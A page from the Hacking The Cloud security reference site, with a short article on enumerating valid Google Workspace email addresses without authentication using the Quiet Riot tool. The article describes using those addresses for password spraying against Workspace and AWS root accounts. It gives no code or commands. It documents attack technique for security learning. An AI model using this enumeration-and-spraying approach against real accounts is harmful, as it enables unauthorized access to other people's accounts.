class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd (@righteousgambit)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/enumeration/enum_email_addresses.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unauthenticated-enumeration-of-valid-google-workspace-email-addresses>Unauthenticated Enumeration of Valid Google Workspace Email Addresses<a class=headerlink href=#unauthenticated-enumeration-of-valid-google-workspace-email-addresses title="Permanent link">&para;</a></h1> <p>You can enumerate valid email addresses associated with the Google Workspace service using <a href=https://github.com/righteousgambit/quiet-riot>Quiet Riot</a>. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 12, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 11, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unauthenticated-enumeration-of-valid-google-workspace-email-addresses class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> 